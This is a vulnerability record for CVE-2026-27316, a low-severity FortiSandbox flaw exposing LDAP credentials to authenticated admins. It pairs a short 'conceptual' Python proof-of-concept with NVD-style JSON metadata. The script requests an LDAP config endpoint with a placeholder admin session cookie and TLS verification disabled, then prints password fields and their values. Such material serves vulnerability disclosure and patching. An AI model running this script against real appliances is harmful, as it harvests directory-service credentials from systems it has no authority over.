CVE-2026-27316

# Proof of Concept (Conceptual) # This script simulates how an authenticated admin might extract credentials via client-side inspection. # In a real scenario, this would require a valid admin session cookie. import requests from bs4 import BeautifulSoup # Target URL (Example) target_url = "https://fortisandbox-example.com/api/ldap/config" # Admin session cookie (required) cookies = {'session_id': 'ADMIN_SESSION_COOKIE_HERE'} try: # Send request to fetch LDAP configuration response = requests.get(target_url, cookies=cookies, verify=False) if response.status_code == 200: # Parse the content to find password fields soup = BeautifulSoup(response.text, 'html.parser') # Look for input fields typically containing passwords password_inputs = soup.find_all('input', {'type': 'password'}) print("[+] Potential credential fields found:") for inp in password_inputs: # Sometimes passwords are pre-filled in value attribute or visible in DOM print(f"Field Name: {inp.get('name')}, Value: {inp.get('value')}") # Also check raw response for JSON structures containing 'password' if 'password' in response.text.lower(): print("[+] Alert: The word 'password' found in response body. Inspect source manually.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

{"cve": {"id": "CVE-2026-27316", "sourceIdentifier": "[email protected]", "published": "2026-04-14T16:16:37.863", "lastModified": "2026-04-22T18:54:01.610", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A insufficiently protected credentials vulnerability in Fortinet FortiSandbox 5.0.0 through 5.0.5, FortiSandbox 4.4 all versions, FortiSandbox PaaS 5.0.1 through 5.0.5 may allow an authenticathed administrator to read LDAP server credentials via client-side inspection."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N", "baseScore": 2.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-522"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fortinet:fortisandbox:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.4.0", "versionEndExcluding": "5.0.6", "matchCriteriaId": "69DCB6D2-21D3-4EE8-9A81-5DA8292EFB28"}, {"vulnerable": true, "criteria": "cpe:2.3:a:fortinet:fortisandbox_cloud:5.0.4:*:*:*:*:*:*:*", "matchCriteriaId": "E5E86B19-95E8-4107-85DC-EFE47225418C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:fortinet:fortisandbox_cloud:5.0.5:*:*:*:*:*:*:*", "matchCriteriaId": "FDAB696D-20A1-4C1A-8DD6-FDECD560AC9C"}]}]}], "references": [{"url": "https://fortiguard.fortinet.com/psirt/FG-IR-26-113", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}